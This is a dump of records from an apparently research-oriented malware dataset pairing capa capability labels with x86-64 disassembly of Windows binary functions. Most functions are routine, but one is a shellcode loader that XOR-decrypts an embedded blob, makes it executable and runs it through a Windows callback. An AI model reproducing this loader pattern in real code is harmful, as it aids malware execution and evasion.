joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140086b60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov ebp, r9d
xor r8d, r8d
mov rsi, rdx
mov rbx, rcx
cmp rdi, 0xffffffffffffffff
jne 0x140086bc4
movzx eax, byte [rdx]
mov edi, r8d
test al, al
je 0x140086bb8
nop dword [rax]
nop word [rax + rax]
imul r8d, r8d, 0x1003f
inc rdi
movzx eax, al
add r8d, eax
movzx eax, byte [rdi + rdx]
test al, al
jne 0x140086ba0
test rdi, rdi
jne 0x140086bf2
xor eax, eax
jmp 0x140086c77
mov rdx, r8
test rdi, rdi
je 0x140086bbd
nop dword [rax]
movzx eax, byte [rdx + rsi]
test al, al
je 0x140086bec
imul r8d, r8d, 0x1003f
inc rdx
add r8d, eax
cmp rdx, rdi
jb 0x140086bd0
jmp 0x140086bb8
mov r8d, 0x11
mov eax, dword [rcx + 0x128]
mov edx, r8d
movzx ecx, byte [rcx + 0x12c]
xor edx, ebp
mov qword [rsp + 0x30], r14
mov r14d, 0xffffffff
cmp ebp, r14d
cmove edx, r8d
imul rax, rdx
shr rax, cl
imul eax, dword [rbx + 0x120]
mov rbx, qword [rbx + 0x110]
sub edx, eax
mov rbx, qword [rbx + rdx*8]
test rbx, rbx
je 0x140086c6f
mov eax, dword [rbx + 0x30]
cmp eax, edi
jne 0x140086c5e
cmp dword [rbx + 0x14], ebp
jne 0x140086c5e
lea rcx, [rbx + 0x34]
cmp eax, 0xb
jbe 0x140086c4f
mov rcx, qword [rbx + 0x38]
mov r8d, edi
mov rdx, rsi
call fcn.14009e0e0
test eax, eax
je 0x140086c66
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140086c36
test rbx, rbx
je 0x140086c6f
mov r14d, dword [rbx + 0xc]
mov eax, r14d
mov r14, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x14008f740
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1401230a8]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, qword [r9 + 0x10]
mov rdi, r9
mov r14, r8
mov rsi, rdx
mov r15, rcx
cmp rbx, 0x20
ja 0x14008f834
xor r12d, r12d
nop dword [rax + rax]
mov r10, qword [rdi + 8]
mov r9, r12
test rbx, rbx
je 0x14008f7c8
lea rax, [rsp + 0x20]
sub r10, rax
nop dword [rax]
nop dword [rax + rax]
lea r8, [rsp + 0x20]
mov ecx, 0x20
add r8, r9
movzx edx, byte [r10 + r8]
lea eax, [rdx - 0x41]
cmp al, 0x19
cmova ecx, r12d
inc r9
xor cl, dl
mov byte [r8], cl
cmp r9, rbx
jb 0x14008f7a0
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.14008efb0
mov dword [rsi], eax
test eax, eax
jne 0x14008f7f1
mov rax, qword [r15]
lea rdx, [rsp + 0x20]
mov r8, rbx
movzx ecx, byte [rax + 0x48]
call fcn.140094be0
mov dword [rsi], eax
cmp dword [rsi], r12d
jne 0x14008f85c
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.14008f480
test eax, eax
je 0x14008f834
mov ecx, dword [r14]
test eax, ecx
jne 0x14008f855
or ecx, eax
xor r8d, r8d
mov dword [r14], ecx
mov rdx, rdi
lea rcx, [r15 + 8]
call fcn.140094c70
cmp al, 2
jne 0x14008f834
mov rbx, qword [rdi + 0x10]
cmp rbx, 0x20
jbe 0x14008f780
mov eax, 0x1a
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14009bf10
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov eax, 0x37
jmp 0x14008f839
xor r8d, r8d
lea rcx, [r15 + 8]
mov rdx, rdi
call fcn.140094c70
cmp al, 2
jne 0x14008f8d3
mov rdx, qword [rdi + 0x10]
cmp rdx, 0x20
ja 0x14008f8d3
mov r11, qword [rdi + 8]
mov r10, r12
test rdx, rdx
je 0x14008f8ba
lea rax, [rsp + 0x20]
sub r11, rax
nop dword [rax]
lea r9, [rsp + 0x20]
mov ecx, 0x20
add r9, r10
movzx r8d, byte [r11 + r9]
lea eax, [r8 - 0x41]
cmp al, 0x19
cmova ecx, r12d
inc r10
xor cl, r8b
mov byte [r9], cl
cmp r10, rdx
jb 0x14008f890
lea rcx, [rsp + 0x20]
call fcn.14008f480
cmp eax, 0x10
jne 0x14008f8d3
or dword [r14], eax
xor eax, eax
jmp 0x14008f839
mov rax, qword [rdi + 8]
mov qword [r15 + 0x18], rax
xor eax, eax
jmp 0x14008f839
Function at 0x14009ce34
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14009ce7e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14009ce7e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14009ce7e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14009ce7e
cmp dword [rcx + 0x84], 0xe
jbe 0x14009ce7e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14009ce80
xor al, al
add rsp, 0x28
ret

Function at 0x1400ad8e4
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1400ad777
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400ad777
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400ad777
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400ad777
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400ad777
cmp dword [rcx + 0x84], 0xe
jbe 0x1400ad777
cmp dword [rcx + 0xf8], 0
je 0x1400ad777
mov ecx, ebx
call fcn.1400ad818
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1400ad608
cmp dword [rbp + 0x20], 0
je 0x1400ad7c4
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400ad7cc
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400ad710
Function at 0x1400c10c0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400c10e8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400c10e8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140010880
Capabilities:
Encode data using xor

Disassembly:
movsb byte [rdi], byte [rsi]
fistp dword [rcx - 0x54]
adc al, 0x6d
cmp ebx, dword [rsi + rsi - 0xa73fd79]
cmp bl, byte [rsi]
je 0x140010891
invalid

Function at 0x140ba6058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140ba61df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140ba6089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ba606f
add dl, dl
jne 0x140ba6096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ba60f6
xor eax, eax
add dl, dl
jne 0x140ba60a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ba61ad
add dl, dl
jne 0x140ba60b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ba60c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ba60d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ba60dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140ba60ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140ba607e
mov eax, 1
add dl, dl
jne 0x140ba6106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ba6113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ba60fb
sub eax, ebx
mov ebx, 1
jne 0x140ba614c
mov ecx, 1
add dl, dl
jne 0x140ba612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ba613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ba6123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ba607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140ba6168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ba6175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ba615d
cmp eax, 0x7d00
jae 0x140ba619b
cmp eax, 0x500
jb 0x140ba6196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ba607e
cmp eax, 0x7f
ja 0x140ba619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ba607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140ba61d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140ba607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x422dc0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x422dcd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x422ddd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x422dc5
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x422df5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x422de2
sub eax, 3
jb 0x422e0f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x422e46
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x422e36
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x422e34
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x422e23
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.00422d82
jmp 0x422dcd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xa400
mov dl, 6
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x422e96
cmp rsi, rcx
jae 0x422e9e
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x422e7d
cmp al, 0x8f
ja 0x422e7d
cmp byte [rsi - 2], 0xf
je 0x422e83
sub al, 0xe8
cmp al, 1
ja 0x422e67
cmp rsi, rcx
jae 0x422e9e
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x422e6d
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x422e9e
lodsb al, byte [rsi]
jmp 0x422e7d
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x20000]
mov eax, dword [rdi]
or eax, eax
je 0x422efb
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x23000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x422eab
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x422ef5
mov qword [rbx], rax
add rbx, 8
jmp 0x422ecb
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.00422f7e], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.00422f7e
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x422f6e
sub rsp, 0xffffffffffffff80
jmp 0x401500
Function at 0x14000b9ac
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140016950], eax
call fcn.14000b730
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140016950], 0
jne case.default.0x14000ba02
mov ecx, 1
call fcn.14000b730
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
and al, 0xf6
nop
invalid
Function at 0x1400010a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push rsi
push rdi
sub rsp, 0x768
lea rax, [rsp + 0x3e0]
lea rcx, [0x1400033b0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37e
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x40]
lea rcx, str.GTC661231_xiaoedi777_
mov rdi, rax
mov rsi, rcx
mov ecx, 0x17
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x20], 0
jmp 0x140001105
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
cmp rax, 0x37e
jae 0x140001160
movsxd rax, dword [rsp + 0x20]
movsx eax, byte [rsp + rax + 0x3e0]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x20]
cdq
idiv dword [rsp + 0x24]
mov eax, edx
cdqe
movsx eax, byte [rsp + rax + 0x40]
mov ecx, dword [rsp + 0x28]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x20]
mov byte [rsp + rcx + 0x60], al
movsxd rax, dword [rsp + 0x20]
movzx eax, byte [rsp + rax + 0x60]
mov edx, eax
lea rcx, str.x_x
call fcn.14000104c
jmp 0x1400010fb
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x2c], 0
lea r9, [rsp + 0x2c]
mov r8d, 0x40
mov edx, 0x37e
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x38], eax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesA]
xor eax, eax
add rsp, 0x768
pop rdi
pop rsi
ret

Function at 0x1400018d4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000191e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000191e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000191e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000191e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000191e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001920
xor al, al
add rsp, 0x28
ret
Function at 0x140001290
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001322
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140001319
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001303
inc rax
test ecx, ecx
jne 0x1400012f0
mov rcx, rbx
test edx, edx
je 0x140001345
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400012e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140004260
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x140001324
Function at 0x140001360
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x260
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
cmp byte [rdx], 0
mov r9, rdx
mov rbx, rcx
jne 0x140001485
mov qword [rsp + 0x280], rdi
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], 0
mov r9d, 0x400
mov edi, eax
mov dword [rsp + 0x28], 0xff
lea rax, [rsp + 0x150]
mov r8d, edi
xor edx, edx
mov qword [rsp + 0x20], rax
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
lea rdx, [rsp + 0x40]
call fcn.140001530
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400013fd
xor byte [rax], 0x37
xor byte [rax + 1], 0x38
xor byte [rax + 2], 0x39
xor byte [rax + 3], 0x3a
xor byte [rax + 4], 0x3b
xor byte [rax + 5], 0x3c
xor cl, 0x3d
mov byte [rax + 6], cl
lea r9, [rsp + 0x150]
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140001070
lea rdx, [rsp + 0x40]
call fcn.140001560
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140001440
xor byte [rax], 0x37
xor byte [rax + 1], 0x38
xor byte [rax + 2], 0x39
xor byte [rax + 3], 0x3a
xor byte [rax + 4], 0x3b
xor cl, 0x3c
mov byte [rax + 5], cl
mov r9d, 0x10
lea rdx, [rsp + 0x50]
mov r8, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 3
lea rcx, [rsp + 0x48]
call fcn.140003ab0
mov rcx, rax
call fcn.140003ac0
mov ecx, edi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov rdi, qword [rsp + 0x280]
lea rdx, [rsp + 0x40]
call fcn.140001530
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400014b4
xor byte [rax], 0x37
xor byte [rax + 1], 0x38
xor byte [rax + 2], 0x39
xor byte [rax + 3], 0x3a
xor byte [rax + 4], 0x3b
xor byte [rax + 5], 0x3c
xor cl, 0x3d
mov byte [rax + 6], cl
mov r8, rbx
lea rcx, [rsp + 0x50]
mov rdx, rax
call fcn.140001070
lea rdx, [rsp + 0x40]
call fcn.140001560
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400014ef
xor byte [rax], 0x37
xor byte [rax + 1], 0x38
xor byte [rax + 2], 0x39
xor byte [rax + 3], 0x3a
xor byte [rax + 4], 0x3b
xor cl, 0x3c
mov byte [rax + 5], cl
mov r9d, 0x10
lea rdx, [rsp + 0x50]
mov r8, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 3
lea rcx, [rsp + 0x48]
call fcn.140003ab0
mov rcx, rax
call fcn.140003ac0
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140004bd8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004c22
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004c22
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004c22
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004c22
cmp dword [rcx + 0x84], 0xe
jbe 0x140004c22
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004c24
xor al, al
add rsp, 0x28
ret
Function at 0x140002060
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rsi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov rdi, rcx
movabs rbp, 0x9e3779b185ebca87
movabs r15, 0x27d4eb2f165667c5
movabs r14, 0xc2b2ae3d27d4eb4f
movabs r12, 0x7a1435883d4d519d
cmp rsi, 0x20
jb 0x14000215b
mov rcx, qword [rcx + 8]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
mov rax, r8
mov rdx, qword [rdi + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rdx
rol rax, 7
add r10, rax
mov rax, rcx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rcx, r14
imul rdx, r14
imul r8, r14
imul r9, r14
rol rcx, 0x1f
imul rcx, rbp
rol rdx, 0x1f
xor r10, rcx
rol r8, 0x1f
imul r10, rbp
imul rdx, rbp
imul r8, rbp
sub r10, r12
rol r9, 0x1f
xor r10, rdx
imul r10, rbp
imul r9, rbp
sub r10, r12
xor r10, r8
imul r10, rbp
sub r10, r12
xor r10, r9
imul r10, rbp
add rax, r10
add rax, rsi
jmp 0x140002163
lea rax, [rsi + r15]
add rax, qword [rcx + 0x18]
lea rdx, [rdi + 0x30]
cmp rdx, rbx
ja 0x14000219a
nop dword [rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, r14
add r11, 8
rol rcx, 0x1f
imul rcx, rbp
xor rax, rcx
rol rax, 0x1b
imul rax, rbp
sub rax, r12
cmp rdx, rbx
jbe 0x140002170
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x1400021c5
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rbp
xor rax, rcx
rol rax, 0x17
imul rax, r14
add rax, r8
cmp r11, rbx
jae 0x1400021eb
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r15
xor rax, rcx
rol rax, 0xb
imul rax, rbp
cmp r11, rbx
jb 0x1400021d0
mov rbx, qword [rsp + 0x20]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
shr rcx, 0x21
xor rcx, rax
imul rcx, r14
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
pop r12
ret

Function at 0x14000a310
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a355
xor al, al
jmp 0x14000a3a2
cmp word [rbx], 0
je 0x14000a36d
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a360
cmp word [rsp + 0x30], 0
je 0x14000a39b
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a3c3
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a380
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000b5f0
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000fc24
int3
Function at 0x14000ac80
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x2030
call fcn.14001fdd0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2020], rax
mov r11d, dword [0x14002fdd0]
lea rsi, [0x140034e10]
mov rdi, rcx
test r11d, r11d
jne 0x14000acf9
mov r8d, 0x1000
lea rdx, str._HOME_
lea rcx, [rsp + 0x20]
call fcn.14000a3d0
test al, al
je 0x14000add9
lea rcx, [rsp + 0x20]
call fcn.140014320
movsxd r11, dword [0x14002fdd0]
mov qword [rsi + r11*8], rax
inc r11d
mov dword [0x14002fdd0], r11d
xor r9d, r9d
test r11d, r11d
jle 0x14000ad34
mov r10, rsi
mov r8, qword [r10]
mov rax, rdi
sub r8, rdi
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000ad24
add rax, 2
test ecx, ecx
jne 0x14000ad10
test edx, edx
je 0x14000ad57
inc r9d
add r10, 8
cmp r9d, r11d
jl 0x14000ad04
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000ad40
cmp rax, 2
jne 0x14000ad5b
cmp word [rdi + 2], 0x3a
jne 0x14000ad5b
mov al, 1
jmp 0x14000adb8
xor edx, edx
mov qword [rsp + 0x2048], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x14000ad86
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000adad
mov bl, 1
cmp dword [0x14002fdd0], 0x400
jge 0x14000adad
mov rcx, rdi
call fcn.140014320
movsxd rdx, dword [0x14002fdd0]
mov qword [rsi + rdx*8], rax
inc edx
mov dword [0x14002fdd0], edx
movzx eax, bl
mov rbx, qword [rsp + 0x2048]
mov rcx, qword [rsp + 0x2020]
xor rcx, rsp
call fcn.14000b5f0
mov rsi, qword [rsp + 0x2050]
add rsp, 0x2030
pop rdi
ret
lea rcx, str._HOME_
call fcn.14000aad0
int3
Function at 0x14000af00
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub rsp, 0x68
mov rcx, qword [0x14002fdd8]
test rcx, rcx
je 0x14000af3b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000af2e
mov rcx, qword [0x14002fdd8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x14002fdd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x14002fde8], 0
je 0x14000b02e
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x140029918]
mov qword [rsp + 0x80], rsi
lea rsi, [0x140032610]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
